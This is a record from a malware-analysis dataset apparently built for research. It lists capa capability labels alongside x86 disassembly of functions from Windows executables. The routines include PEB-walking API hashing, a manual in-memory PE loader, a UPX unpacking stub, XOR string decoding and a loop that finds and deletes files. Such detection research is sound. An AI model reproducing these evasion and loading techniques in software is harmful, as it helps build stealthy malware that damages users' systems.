joyce8/EMBER2024-capa huggingface dataset:
Function at 0x3b33b0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 4]
mov edx, dword [ecx]
xor eax, edx
push ebx
push esi
lea esi, [ecx + 4]
mov dword [esp + 8], edx
lea ebx, [eax + 1]
mov dword [esp + 0x10], eax
add esi, 4
push edi
test bl, 3
je 0x3b33d9
and ebx, 0xfffffffc
add ebx, 4
mov eax, dword [0x3bdddc]
test eax, eax
jne 0x3b33fd
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0x51a2922a
mov ecx, eax
call fcn.003b3d50
mov dword [0x3bdddc], eax
call eax
mov edi, eax
mov eax, dword [0x3be1fc]
test eax, eax
jne 0x3b3425
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0xb1fe2c86
mov ecx, eax
call fcn.003b3d50
mov dword [0x3be1fc], eax
lea ecx, [ebx + ebx]
push ecx
push 8
push edi
call eax
mov edi, eax
mov dword [esp + 0x10], edi
test edi, edi
je 0x3b34a5
shr ebx, 2
xor eax, eax
push ebp
xor ebp, ebp
mov edx, edi
lea ecx, [esi + ebx*4]
mov ebx, ecx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, ecx
cmova ebx, eax
test ebx, ebx
je 0x3b349a
mov edi, dword [esp + 0x10]
lea esp, [esp]
mov ecx, dword [esi]
lea edx, [edx + 8]
xor ecx, edi
lea esi, [esi + 4]
movzx eax, cl
inc ebp
mov word [edx - 8], ax
mov eax, ecx
shr eax, 8
movzx eax, al
mov word [edx - 6], ax
shr ecx, 0x10
movzx eax, cl
mov word [edx - 4], ax
shr ecx, 8
movzx eax, cl
mov word [edx - 2], ax
cmp ebp, ebx
jb 0x3b3460
mov edi, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
xor ecx, ecx
pop ebp
mov word [edi + eax*2], cx
mov eax, edi
pop edi
pop esi
pop ebx
add esp, 0xc
ret

Function at 0x3b34b0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 0xc
mov eax, dword [ecx + 4]
mov edx, dword [ecx]
xor eax, edx
push ebx
push ebp
push esi
lea esi, [ecx + 4]
mov dword [esp + 0xc], edx
lea ebx, [eax + 1]
mov dword [esp + 0x14], eax
add esi, 4
push edi
test bl, 3
je 0x3b34da
and ebx, 0xfffffffc
add ebx, 4
mov eax, dword [0x3bdddc]
test eax, eax
jne 0x3b34fe
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0x51a2922a
mov ecx, eax
call fcn.003b3d50
mov dword [0x3bdddc], eax
call eax
mov edi, eax
mov eax, dword [0x3be1fc]
test eax, eax
jne 0x3b3526
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0xb1fe2c86
mov ecx, eax
call fcn.003b3d50
mov dword [0x3be1fc], eax
push ebx
push 8
push edi
call eax
mov ebp, eax
mov dword [esp + 0x14], ebp
test ebp, ebp
je 0x3b3592
shr ebx, 2
xor eax, eax
xor edi, edi
mov ecx, ebp
lea edx, [esi + ebx*4]
mov ebx, edx
sub ebx, esi
add ebx, 3
shr ebx, 2
cmp esi, edx
cmova ebx, eax
test ebx, ebx
je 0x3b358a
mov ebp, dword [esp + 0x10]
lea esp, [esp]
mov edx, dword [esi]
lea ecx, [ecx + 4]
xor edx, ebp
lea esi, [esi + 4]
mov byte [ecx - 4], dl
mov eax, edx
shr eax, 8
inc edi
shr edx, 0x10
mov byte [ecx - 3], al
mov byte [ecx - 2], dl
shr edx, 8
mov byte [ecx - 1], dl
cmp edi, ebx
jb 0x3b3560
mov ebp, dword [esp + 0x14]
mov eax, dword [esp + 0x18]
mov byte [eax + ebp], 0
pop edi
pop esi
mov eax, ebp
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x3b3af0
Capabilities:
Encode data using xor

Disassembly:
sub esp, 8
mov dword [esp], 0x21c3
mov eax, 0xbacf914d
shl dword [esp], 0xd
add dword [esp], 0xffffee0d
xor dword [esp], 0xc6d3a95b
or dword [esp], 0xe006cb71
push ebx
push esi
mov esi, dword [esp + 8]
mov ebx, ecx
mul esi
mov eax, 0xaaaaaaab
sub esi, edx
shr esi, 1
add esi, edx
shr esi, 5
mov dword [esp + 8], esi
add dword [esp + 8], 0x86d
xor dword [esp + 8], 0x2a29b567
xor dword [esp + 8], 0x2c0b8419
mov dword [esp + 0xc], 0x6024
mov ecx, dword [esp + 0xc]
mul ecx
shr edx, 5
mov dword [esp + 0xc], edx
xor dword [esp + 0xc], 0x206
mov dword [esp + 0xc], 0x7624
shl dword [esp + 0xc], 5
add dword [esp + 0xc], 0xcdd4
xor dword [esp + 0xc], 0xf9244
cmp byte [ebx], 0
je 0x3b3c06
push edi
lea esp, [esp]
mov edi, dword [esp + 0xc]
lea ebx, [ebx + 1]
mov dword [esp + 0x10], 0x6024
mov eax, 0xaaaaaaab
mov ecx, dword [esp + 0x10]
mul ecx
shr edx, 5
mov dword [esp + 0x10], edx
xor dword [esp + 0x10], 0x206
movzx ecx, byte [esp + 0x10]
mov esi, dword [esp + 0xc]
mov dword [esp + 0x10], 0x7624
shl dword [esp + 0x10], 5
add dword [esp + 0x10], 0xcdd4
xor dword [esp + 0x10], 0xf9244
shl esi, cl
movzx ecx, byte [esp + 0x10]
mov edx, dword [esp + 0xc]
movsx eax, byte [ebx - 1]
mov dword [esp + 0xc], eax
add dword [esp + 0xc], esi
shl edx, cl
add dword [esp + 0xc], edx
sub dword [esp + 0xc], edi
cmp byte [ebx], 0
jne 0x3b3b90
pop edi
mov eax, dword [esp + 8]
pop esi
pop ebx
add esp, 8
ret
Function at 0x3b3d50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x10
push ebx
mov ebx, ecx
mov dword [esp + 4], edx
push ebp
push esi
push edi
mov eax, dword [ebx + 0x3c]
xor esi, esi
add eax, 0x78
add eax, ebx
mov dword [esp + 0x1c], eax
mov edi, dword [eax]
mov eax, dword [edi + ebx + 0x1c]
add edi, ebx
add eax, ebx
mov dword [esp + 0x18], eax
mov ebp, dword [edi + 0x20]
mov eax, dword [edi + 0x24]
add ebp, ebx
add eax, ebx
mov dword [esp + 0x14], eax
cmp dword [edi + 0x18], esi
jbe 0x3b3dac
lea esp, [esp]
mov ecx, dword [ebp + esi*4]
add ecx, ebx
call fcn.003b3af0
xor eax, 0x15977d8f
cmp eax, dword [esp + 0x10]
je 0x3b3db6
inc esi
cmp esi, dword [edi + 0x18]
jb 0x3b3d90
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [esp + 0x14]
mov ecx, dword [esp + 0x18]
movzx eax, word [eax + esi*2]
mov ecx, dword [ecx + eax*4]
add ecx, ebx
cmp ecx, edi
jb 0x3b3de4
mov eax, dword [esp + 0x1c]
mov eax, dword [eax + 4]
add eax, edi
cmp ecx, eax
jae 0x3b3de4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
jmp 0x3b3f80
pop edi
pop esi
pop ebp
mov eax, ecx
pop ebx
add esp, 0x10
ret
sub esp, 0x104
lea edx, [esp]
push esi
mov esi, ecx
push edi
mov al, byte [esi]
test al, al
je 0x3b3fa6
cmp al, 0x2e
je 0x3b3fa3
inc esi
mov byte [edx], al
inc edx
mov al, byte [esi]
test al, al
jne 0x3b3f93
jmp 0x3b3fa6
mov byte [edx], 0
mov eax, dword [0x3bdd94]
test eax, eax
jne 0x3b3fca
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0xe2afc2b8
mov ecx, eax
call fcn.003b3d50
mov dword [0x3bdd94], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x3b4011
mov eax, dword [0x3bdf8c]
test eax, eax
jne 0x3b3ffb
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0xcabcc663
mov ecx, eax
call fcn.003b3d50
mov dword [0x3bdf8c], eax
lea ecx, [esp + 8]
push ecx
call eax
mov edi, eax
test edi, edi
jne 0x3b4011
pop edi
pop esi
add esp, 0x104
ret
lea ecx, [esi + 1]
call fcn.003b3af0
xor eax, 0x15977d8f
mov ecx, edi
mov edx, eax
call fcn.003b3d50
pop edi
pop esi
add esp, 0x104
ret
Function at 0x3b3df0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
sub esp, 0x10
mov eax, dword fs:[0x30]
push ebx
push ebp
push esi
mov ebx, dword [eax + 0xc]
add ebx, 0xc
mov dword [esp + 0x18], ecx
push edi
mov dword [esp + 0x18], ebx
mov ebp, dword [ebx]
cmp ebp, ebx
je 0x3b3f65
jmp 0x3b3e20
mov esi, dword [ebp + 0x30]
mov eax, 0xbacf914d
mov dword [esp + 0x10], 0x21c3
shl dword [esp + 0x10], 0xd
add dword [esp + 0x10], 0xffffee0d
xor dword [esp + 0x10], 0xc6d3a95b
or dword [esp + 0x10], 0xe006cb71
mov ecx, dword [esp + 0x10]
mul ecx
mov eax, 0xaaaaaaab
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 5
mov dword [esp + 0x10], ecx
add dword [esp + 0x10], 0x86d
xor dword [esp + 0x10], 0x2a29b567
xor dword [esp + 0x10], 0x2c0b8419
mov dword [esp + 0x14], 0x6024
mov ecx, dword [esp + 0x14]
mul ecx
shr edx, 5
mov dword [esp + 0x14], edx
xor dword [esp + 0x14], 0x206
mov dword [esp + 0x14], 0x7624
shl dword [esp + 0x14], 5
add dword [esp + 0x14], 0xcdd4
xor dword [esp + 0x14], 0xf9244
cmp word [esi], 0
je 0x3b3f4b
mov ebx, dword [esp + 0x10]
mov eax, 0xaaaaaaab
mov dword [esp + 0x14], 0x6024
mov ecx, dword [esp + 0x14]
mul ecx
shr edx, 5
mov dword [esp + 0x14], edx
xor dword [esp + 0x14], 0x206
movzx ecx, byte [esp + 0x14]
mov edx, dword [esp + 0x10]
mov dword [esp + 0x14], 0x7624
shl dword [esp + 0x14], 5
add dword [esp + 0x14], 0xcdd4
xor dword [esp + 0x14], 0xf9244
shl edx, cl
movzx ecx, byte [esp + 0x14]
mov edi, dword [esp + 0x10]
movzx eax, word [esi]
shl edi, cl
cmp eax, 0x41
jb 0x3b3f2a
cmp eax, 0x5a
ja 0x3b3f2a
add eax, 0x20
mov dword [esp + 0x10], eax
add esi, 2
add dword [esp + 0x10], edx
add dword [esp + 0x10], edi
sub dword [esp + 0x10], ebx
cmp word [esi], 0
jne 0x3b3ec1
mov ebx, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
xor eax, 0xf5f9597
cmp eax, dword [esp + 0x1c]
je 0x3b3f6f
mov ebp, dword [ebp]
cmp ebp, ebx
jne 0x3b3e20
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x10
ret
mov eax, dword [ebp + 0x18]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x10
ret
Function at 0x3b4240
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
sub esp, 0x14
push ebp
mov ebp, ecx
mov dword [esp + 0x10], ebp
push edi
cmp edx, 0x40
jb 0x3b43de
mov eax, 0x5a4d
cmp word [ebp], ax
jne 0x3b43de
mov edi, dword [ebp + 0x3c]
add edi, ebp
mov dword [esp + 0x18], edi
cmp dword [edi], 0x4550
jne 0x3b43de
mov eax, 0x10b
cmp word [edi + 0x18], ax
jne 0x3b43de
mov eax, dword [0x3bdda8]
test eax, eax
jne 0x3b42ab
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0x2c46dbc5
mov ecx, eax
call fcn.003b3d50
mov dword [0x3bdda8], eax
push ebx
push 0x40
push 0x3000
push dword [edi + 0x50]
push 0
call eax
mov ebx, eax
test ebx, ebx
je 0x3b43d5
movzx ecx, word [edi + 0x14]
push esi
lea esi, [edi + 0x18]
add esi, ecx
movzx ecx, word [edi + 6]
mov dword [esp + 0x18], esi
lea ecx, [ecx + ecx*4]
lea eax, [esi + ecx*8]
mov dword [esp + 0x14], eax
mov eax, dword [edi + 0x54]
mov dword [esp + 0x10], eax
mov eax, dword [0x3be03c]
test eax, eax
jne 0x3b430b
mov ecx, 0xdd71b583
call fcn.003b3df0
mov edx, 0x282aa2f8
mov ecx, eax
call fcn.003b3d50
mov dword [0x3be03c], eax
push dword [esp + 0x10]
push ebp
push ebx
call eax
mov ecx, dword [esp + 0x20]
add esp, 0xc
cmp esi, ecx
jae 0x3b438e
sub ecx, dword [esp + 0x18]
mov eax, 0xcccccccd
dec ecx
add esi, 0x10
mul ecx
mov ecx, edx
shr ecx, 5
inc ecx
mov edi, ecx
mov ebp, dword [esi]
cmp dword [esi - 8], ebp
mov eax, dword [esi + 4]
cmovb ebp, dword [esi - 8]
add eax, dword [esp + 0x1c]
mov dword [esp + 0x18], eax
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esp + 0x14], eax
mov eax, dword [0x3be03c]
test eax, eax
jne 0x3b4376
mov ecx, 0xdd71b583
call fcn.003b3df0
mov edx, 0x282aa2f8
mov ecx, eax
call fcn.003b3d50
mov dword [0x3be03c], eax
push ebp
push dword [esp + 0x1c]
push dword [esp + 0x1c]
call eax
add esp, 0xc
add esi, 0x28
dec edi
jne 0x3b4335
mov edi, dword [esp + 0x20]
mov edx, edi
mov ecx, ebx
call fcn.003b4510
mov edx, edi
mov ecx, ebx
call fcn.003b4420
pop esi
test eax, eax
jne 0x3b43d5
mov eax, dword [0x3be024]
test eax, eax
jne 0x3b43c9
mov ecx, 0x802173e5
call fcn.003b3df0
mov edx, 0xef65a2d8
mov ecx, eax
call fcn.003b3d50
mov dword [0x3be024], eax
push 0x8000
push 0
push ebx
call eax
xor ebx, ebx
mov eax, ebx
pop ebx
pop edi
pop ebp
add esp, 0x14
ret
pop edi
xor eax, eax
pop ebp
add esp, 0x14
ret
Function at 0x421610
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x15000]
push edi
jmp 0x42162a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x421631
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x421620
mov eax, 1
add ebx, ebx
jne 0x421643
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x421638
jne 0x421654
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421638
xor ecx, ecx
sub eax, 3
jb 0x421668
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x4216da
mov ebp, eax
add ebx, ebx
jne 0x421673
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x421680
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x4216a4
inc ecx
add ebx, ebx
jne 0x421690
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x421685
jne 0x4216a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x421685
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x4216c4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x4216b5
jmp 0x421626
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x4216c4
add edi, ecx
jmp 0x421626
pop esi
mov edi, esi
mov ecx, 0x78c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x4216e2
cmp byte [edi], 7
jne 0x4216e2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x4216e7
lea edi, [esi + 0x1f000]
mov eax, dword [edi]
or eax, eax
je 0x421756
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x21068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x210a4]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x421714
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x210a8]
or eax, eax
je 0x421750
mov dword [ebx], eax
add ebx, 4
jmp 0x421731
call dword [esi + 0x210b8]
mov ebp, dword [esi + 0x210ac]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x31f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x42178a
sub esp, 0xffffff80
jmp section.UPX0
Function at 0x472f60
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
mov ecx, 5
push 0
push 0
dec ecx
jne 0x472f68
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4730cb
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x4730a6
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x65a930]
mov edi, dword [eax + 8]
dec edi
test edi, edi
jl 0x47309c
inc edi
mov dword [ebp - 8], 0
mov edx, dword [ebp - 8]
mov eax, dword [0x65a930]
call fcn.00418910
mov ebx, eax
mov esi, dword [ebx + 4]
test esi, esi
je 0x472fef
push dword [ebx + 0x46]
push 0x4730e4
lea edx, [ebp - 0x10]
mov eax, esi
call fcn.00464590
push dword [ebp - 0x10]
lea eax, [ebp - 0xc]
mov edx, 3
call fcn.00405720
mov edx, dword [ebp - 0xc]
mov eax, 0x473100
call fcn.004648d4
lea edx, [ebp - 0x14]
mov eax, dword [ebx + 0x46]
call fcn.0042306c
mov eax, dword [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0xcc]
call fcn.00405584
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebx + 0x42]
pop edx
call fcn.0046fad8
mov esi, eax
test esi, esi
je 0x47305f
push 0x20
mov eax, dword [ebx + 0x46]
call fcn.0040581c
push eax
call sub.kernel32.dll_SetFileAttributesA
lea edx, [ebp - 0x1c]
mov eax, dword [ebx + 0x46]
call fcn.0042306c
mov eax, dword [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0xcc]
call fcn.00405584
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebx + 0x42]
pop edx
call fcn.0046fad8
mov esi, eax
test esi, esi
je 0x473092
push dword [ebx + 0x46]
push 0x473118
lea edx, [ebp - 0x28]
mov eax, esi
call fcn.00422118
push dword [ebp - 0x28]
lea eax, [ebp - 0x24]
mov edx, 3
call fcn.00405720
mov edx, dword [ebp - 0x24]
mov eax, 0x473100
call fcn.004648d4
inc dword [ebp - 8]
dec edi
jne 0x472faa
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4730b0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4730d2
lea eax, [ebp - 0x28]
mov edx, 8
call fcn.004053b0
ret

Function at 0x473c00
Capabilities:
Create thread

Disassembly:
push ebx
push esi
push edi
push ecx
mov edi, eax
xor ebx, ebx
push esp
push 0
push 0
lea eax, [edi + 0xdc]
push eax
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov esi, eax
mov dword [edi + 0xd8], esi
test esi, esi
je 0x473c2b
mov bl, 1
mov eax, ebx
pop edx
pop edi
pop esi
pop ebx
ret
Function at 0x473c34
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
mov dword [ebp - 8], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.0040580c
mov eax, dword [ebp - 8]
call fcn.0040580c
xor eax, eax
push ebp
push 0x473da7
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [ebp - 8]
mov dword [esi + 0xcc], eax
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [esi + 0x100]
mov edx, dword [eax]
call dword [edx + 8]
xor eax, eax
mov dword [esi + 0x20], eax
mov word [esi + 0xb4], 0
xor eax, eax
mov dword [esi + 0x1c], eax
xor eax, eax
mov dword [esi + 0x24], eax
mov dword [esi + 0xc0], 0
mov dword [esi + 0xc4], 0
mov byte [esi + 0xb0], 0
lea eax, [esi + 0xc8]
mov edx, dword [ebp - 4]
call fcn.004053e0
movzx eax, word [ebp + 8]
mov word [esi + 0xb2], ax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi + 0xa0], eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi + 0xa4], eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [esi + 0xa8], eax
mov eax, esi
call fcn.00473c00
test al, al
je 0x473d6c
movzx edx, word [esi + 0xb2]
mov eax, esi
call fcn.00472c8c
mov ebx, eax
mov eax, dword [0x65a930]
cmp dword [eax + 8], 0
jle 0x473d6c
push 0x473dc0
mov eax, dword [esi + 0x24]
xor edx, edx
push edx
push eax
lea eax, [ebp - 0x10]
call fcn.00422150
push dword [ebp - 0x10]
push 0x473ddc
push 0x473dec
lea eax, [ebp - 0xc]
mov edx, 4
call fcn.00405720
mov edx, dword [ebp - 0xc]
mov eax, 0x473df8
call fcn.004648d4
cmp dword [esi + 0xb8], 0
je 0x473d80
lea eax, [esi + 0xb8]
call fcn.00421f58
mov eax, dword [esi + 0xcc]
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x473dae
lea eax, [ebp - 0x10]
mov edx, 4
call fcn.004053b0
ret

Function at 0x474b80
Capabilities:
Create thread

Disassembly:
push ebx
push ecx
mov word [0x48e1a8], ax
cmp byte [0x48e1a4], 0
jne 0x474b95
xor ebx, ebx
jmp 0x474bf8
call fcn.00474b44
push esp
push 0
push 0
push 0x4746a0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
mov ebx, eax
test ebx, ebx
je 0x474bec
cmp dword [0x48e1a0], 0
je 0x474bcd
push 0x64
mov eax, dword [0x48e1a0]
push eax
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
jne 0x474bb3
cmp dword [0x48e1b4], 0
jbe 0x474bde
push 0xffffffffffffffff
push ebx
call sub.kernel32.dll_WaitForSingleObject
push ebx
call sub.kernel32.dll_CloseHandle_1
mov ebx, dword [0x48e1b4]
jmp 0x474bf8
call sub.kernel32.dll_GetLastError_1
mov ebx, eax
call fcn.00474288
mov eax, ebx
pop edx
pop ebx
ret
Function at 0x475e58
Capabilities:
Copy file
Create thread
Delete file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
xor edx, edx
mov dword [ebp - 0xc], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040580c
xor eax, eax
push ebp
push 0x475f96
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
mov eax, dword [0x651d28]
cmp dword [eax], 0
je 0x475e9a
mov eax, dword [ebp - 4]
call fcn.0040581c
call fcn.00422d78
test al, al
jne 0x475f01
mov eax, 0x7d0
call fcn.0040344c
lea edx, [ebp - 0xc]
call fcn.00422118
mov edx, dword [ebp - 0xc]
mov eax, dword [0x651d28]
mov ecx, 0x475fac
call fcn.004056a4
push 0x20
mov eax, dword [0x651d28]
mov eax, dword [eax]
call fcn.0040581c
push eax
call sub.kernel32.dll_SetFileAttributesA
mov eax, dword [0x651d28]
mov eax, dword [eax]
call fcn.0040581c
push eax
call sub.kernel32.dll_DeleteFileA
push 0xffffffffffffffff
mov eax, dword [0x651d28]
mov eax, dword [eax]
call fcn.0040581c
push eax
mov eax, dword [ebp - 4]
call fcn.0040581c
push eax
call sub.kernel32.dll_CopyFileA
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x65a974], eax
push 0
push 0
push 0
push 0
call sub.kernel32.dll_CreateEventA
mov dword [0x65a978], eax
lea eax, [ebp - 8]
push eax
push 0
mov eax, dword [0x651d28]
mov eax, dword [eax]
push eax
push 0x475c6c
push 0
push 0
call sub.kernel32.dll_CreateThread_1
test eax, eax
je 0x475f78
push eax
call sub.kernel32.dll_CloseHandle_1
cmp dword [0x65a978], 0
je 0x475f71
mov eax, dword [0x651bdc]
mov eax, dword [eax]
call fcn.004257e8
push 0x64
mov eax, dword [0x65a978]
push eax
call sub.kernel32.dll_WaitForSingleObject
test eax, eax
jne 0x475f4b
movzx ebx, byte [0x48e1d4]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x475f9d
lea eax, [ebp - 0xc]
call fcn.0040538c
lea eax, [ebp - 4]
call fcn.0040538c
ret
Function at 0x475fb4
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe98
push ebx
push esi
xor edx, edx
mov dword [ebp - 0x164], edx
mov dword [ebp - 0x168], edx
mov dword [ebp - 0x15c], edx
mov dword [ebp - 0x160], edx
mov dword [ebp - 0x154], edx
mov dword [ebp - 0x158], edx
mov dword [ebp - 0x150], edx
mov dword [ebp - 0x14c], edx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.0040580c
xor eax, eax
push ebp
push 0x476176
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x148]
push eax
lea eax, [ebp - 0x14c]
mov ecx, 0x47618c
mov edx, dword [ebp - 4]
call fcn.004056a4
mov eax, dword [ebp - 0x14c]
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
cmp ebx, 0xffffffff
je 0x47614b
lea eax, [ebp - 0x150]
lea edx, [ebp - 0x18]
mov ecx, 0xe
call fcn.004055fc
cmp dword [ebp - 0x150], 0
jne 0x47609e
push dword [ebp - 4]
push 0x47619c
lea eax, [ebp - 0x158]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.004055fc
push dword [ebp - 0x158]
lea eax, [ebp - 0x154]
mov edx, 3
call fcn.00405720
mov eax, dword [ebp - 0x154]
lea edx, [ebp - 8]
call fcn.00464b90
jmp 0x4760dd
push dword [ebp - 4]
push 0x47619c
lea eax, [ebp - 0x160]
lea edx, [ebp - 0x18]
mov ecx, 0xe
call fcn.004055fc
push dword [ebp - 0x160]
lea eax, [ebp - 0x15c]
mov edx, 3
call fcn.00405720
mov eax, dword [ebp - 0x15c]
lea edx, [ebp - 8]
call fcn.00464b90
lea eax, [ebp - 0x168]
lea edx, [ebp - 0x11c]
mov ecx, 0x104
call fcn.004055fc
mov eax, dword [ebp - 0x168]
lea edx, [ebp - 0x164]
call fcn.00422358
mov edx, dword [ebp - 0x164]
mov eax, 0x4761a8
call fcn.00405968
test eax, eax
jne 0x476130
push 0x20
mov eax, dword [ebp - 8]
call fcn.0040581c
mov esi, eax
push esi
call sub.kernel32.dll_SetFileAttributesA
push esi
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x148]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
test eax, eax
jne 0x47603e
push ebx
call sub.kernel32.dll_FindClose_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x47617d
lea eax, [ebp - 0x168]
mov edx, 8
call fcn.004053b0
lea eax, [ebp - 8]
mov edx, 2
call fcn.004053b0
ret

Function at 0x476a20
Capabilities:
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
xor eax, eax
push ebp
push 0x476a8c
push dword fs:[eax]
mov dword fs:[eax], esp
mov esi, 0x24
mov ebx, 0x55078c
push 0x20
lea eax, [ebp - 8]
mov edx, dword [ebx]
call fcn.00405584
mov ecx, dword [ebp - 8]
lea eax, [ebp - 4]
mov edx, 0x476aa4
call fcn.004056a4
mov eax, dword [ebp - 4]
call fcn.0040581c
push eax
call sub.kernel32.dll_SetFileAttributesA
add ebx, 4
dec esi
jne 0x476a41
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x476a93
lea eax, [ebp - 8]
mov edx, 2
call fcn.004053b0
ret
Function at 0x47771c
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov dword [esp], edx
mov ebx, eax
or ebp, 0xffffffff
cmp dword [esp], 0x32
jne 0x4777fc
mov esi, ebx
movzx eax, word [esi + 2]
cmp ax, 0x2417
jbe 0x4777fc
cmp ax, 0x241d
jae 0x4777fc
push 0x32
call fcn.0040709c
pop ecx
mov esi, eax
mov ecx, 0x32
mov edx, ebx
mov eax, esi
call fcn.0040835c
movzx ebp, word [esi + 2]
sub ebp, 0x2012
sub ebp, 6
sub ebp, 0x400
dec ebp
cmp ebp, 0xffffffff
jne 0x4777d1
mov dword [esp + 4], 4
mov ebx, 0x65a984
mov eax, dword [ebx]
call fcn.004774f4
push 0x32
call fcn.0040709c
pop ecx
mov edi, eax
mov ecx, 0x32
mov edx, esi
mov eax, edi
call fcn.0040835c
mov eax, dword [ebx]
mov edx, edi
call fcn.00423d70
call sub.kernel32.dll_GetTickCount_1
mov edx, dword [ebx]
mov dword [edx + 4], eax
add ebx, 4
dec dword [esp + 4]
